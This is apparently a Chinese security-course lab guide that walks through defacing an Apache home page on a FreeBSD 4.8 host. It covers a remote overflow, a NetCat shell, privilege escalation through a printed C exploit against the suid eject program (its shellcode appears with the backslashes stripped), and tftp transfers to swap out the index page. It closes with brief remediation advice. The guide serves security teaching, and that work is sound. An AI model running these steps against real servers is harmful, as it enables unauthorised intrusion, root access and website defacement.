2024年1月6日发(作者:)

Web服务首页篡改

Apache HTTP Server是最流行的开放源码WEB服务器系统之一,它是由Apache

Group开发、发布并支持的。Apache HTTP Server支持静态编译及动态模块加载2种方式,在其某些特定版本中的动态模块存在缓冲区溢出漏洞,攻击者会利用此漏洞达到对WEB服务器进行攻击或执行指定程序的目的。

实验目的

通过本实验使读者了解WEB服务器的安全漏洞以增强安全意识。

实验拓扑

实验准备

向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。用nc工具连接远程端口获得shell,本地提权后,上传篡改后的主页。

1.下载实验中使用的工具:远程溢出工具 、NetCat 1.11 for Windows (网络瑞士军刀)、Tftpd Server。

【说明】

远程溢出工具

向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。

NetCat 1.11 for Windows (网络瑞士军刀)

一款小巧精悍的网络实用工具,常用来进行远程shell连接或被动接收连接以提供shell通道,或者用来作为小巧的telnet客户端使用。

Tftpd Server

一款支持tftp协议的服务端工具,用以上传或下载文件(tftp 协议)。

实验步骤

访问目标主机的HTTP服务

步骤说明:

确保输入的协议及地址是正确的

1.打开浏览器,访问目标主机的 HTTP 服务,如:图1

图1

探测目标主机WEB服务信息

步骤说明:

输入 GET /abcdefg HTTP/1.0 并连续输入两次回车(Enter),可以从返回中获取服务器版本信息。

命令中的 abcdefg 是任意字符串,是不存在的页面,会引起404错误。

这么做的理由是 404错误的返回页面内容比较少,便于查看。

1.开启一个命令行窗口,用 程序连接目标主机的 80 端口

命令格式:

目标IP 80

如:图2

图2

用 尝试远程溢出

步骤说明:

命令格式为 -t 目标主机IP地址。

1.运行 ,如:图3

图3

注:

因apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。

溢出成功,用NetCat 连接

步骤说明:

命令格式为 目标主机IP地址 目标端口。

1.如:图4、图5,连接上以后,我们做如下操作:

a). 用 id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限。

b). 用 w 命令看当前有谁在线,看到两个远程登录连接。

c). 用 pwd 命令看当前所在目录。

d). 用 uname -a 看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁。

e). 切换目录至 /tmp 下,准备编写提权程序。

图4

图5

提升权限

步骤说明:

FreeBSD 老版本上的 eject 程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。

eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测,

导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。

1.编写提权代码,如:图6

图6

图中所用代码如下:

#include

#include

#include

#include

#define BOF_LEN 1260

extern char** environ;

int main( void ) {

char buf[BOF_LEN];

char* ptr;

char* arg[4];

unsigned int ret = 0xbfbfeead;

char shellcode[] = "xebx17x5bx31xc0x88x43x07x89x5bx08x89"

"x43x0cx50x8dx53x08x52x53xb0x3bx50xcd"

"x80xe8xe4xffxffxff/bin/sh";

char envshell[4096];

memset( envshell, 0x90, 4096 );

memcpy( envshell + 4096 - strlen( shellcode ), shellcode,

strlen( shellcode ) );

envshell[4096] = 0x0;

memcpy( envshell, "VULN=", 5 );

putenv( envshell );

memset( buf, 0x41, BOF_LEN - 1 );

*(unsigned int *)(buf + BOF_LEN - 5) = ret;

*(buf + BOF_LEN - 1) = 0x0;

arg[0] = "/usr/local/sbin/eject";

arg[1] = "-t";

arg[2] = buf;

arg[3] = NULL;

execve (arg[0], arg, environ);

return( 0 );

}

2.编译提权代码,运行提权程序,如:图7

用 gcc 编译源代码,然后执行 ./ex,输入 id 命令后可以看到 euid=0,输入whoami

命令可以看到已经是 root了。

当然,现在这样还不是完全的 root 权限,但是对于篡改首页来说已经够了。

进一步提权的详细信息可参看《Linux 系统漏洞利用》这一课的内容。

注:

执行 ex 程序时记得前面的 “./ ”两个符号。

图7

篡改网站首页

步骤说明:

通过使用 /usr/sbin/pkg_info 命令查找 web 服务的配置文件,从配置文件中定位 web 页面的存储根路径,用 Tftpd 实用程序将首页文件从服务器上下载到本地进行修改(篡改),然后再回传到服务器上覆盖原首页文件。

1.寻找web服务器的配置文件存储路径,如:图8

a). 用 /usr/sbin/pkg_info | grep apache 命令查找 apache 包的完整名称。

b). 用 /usr/sbin/pkg_info -p 包完整名称 来查看apache安装的根路径,在图中可以看到是 /usr/local。

c). 用 /usr/sbin/pkg_info -f 包完整名称 | grep 查看配置文件所在的路径,看到是 %D/etc/apache/,

其中的 %D 就是前面得到的 /usr/local。

综上,apache 服务器的配置文件为 /usr/local/etc/apache/。

图8

2.寻找网站页面文件存储路径,如:图9

a). 用 cat /usr/local/etc/apache/ | grep DocumentRoot | grep -v “#”

来查找页面根路径,

如图9,我们得到的路径为:/usr/local/www/data。

b). 用 cd /usr/local/www/data 切换目录到网站页面根路径。

c). 用 ls -al 命令查看首页是否在当前路径下,我们看到 在当前路径下。

注:

UNIX系统的命令行是大小写敏感的,因此输入命令及参数时注意区分大小写 上面的命令中 grep -v ”#”

的含义是排除含”#”的行。

图9

3.用 Tftpd 实用程序传输文件

[将传输到本地]

a). 在本地的windows主机上启动 ,如:图10

图10

b). 在执行 的窗口中将 传输到本地windows主机,如:图11

I). 输入 tftp 命令进入 tftp 客户端程序。

II). 输入connect 本地windows主机IP地址建立连接。

III). 输入binary命令设置传输模式为二进制传输。

IV). 输入put 命令将当前目录下的文件传输到本地windows主机。

图11

c). 我们可以在 程序的 Log Viewer窗口看到传输信息,并在

的同级目录中看到传上来的文件,如:图12

图12

[修改文件]

d). 用编辑工具打开 文件,如记事本,查找“

图13

e). 在 后面插入信息:

height=100px align=center valign=middle>这行内容是被篡改的!

如:图14

图14

f). 查找页面编码,修改为简体中文(GB2312),若已为中文编码,则不需要再更改,如:图15及图16

图15

图16

[将修改后的传输到远程主机]

g). 在执行 的窗口中将修改后的 传输到远程主机,如:图17

图17

h). 执行 get 命令将修改完的 文件下载到远端主机,覆盖原文件。

我们可以在 程序的 Log Viewer窗口看到传输信息,如:图18

图18

查看修改后的页面

步骤说明:

我们可以用浏览器访问修改后的页面来查看修改后的效果。

1.打开浏览器,访问目标主机的 HTTP 服务,如:图19

图19

退出root shell,断开连接

1.顺序执行下述操作,如:图20

a). 输入 quit 退出 tftp 客户端程序。

b). 输入 exit 退出通过溢出获得到的 root shell。

c). 再次输入 exit 断开连接。

图20

解决方案

1.对系统进行加固,更新有问题的服务程序。

2.做双向ACL,拒绝非法端口访问。

3.对有问题的内核打补丁或升级内核。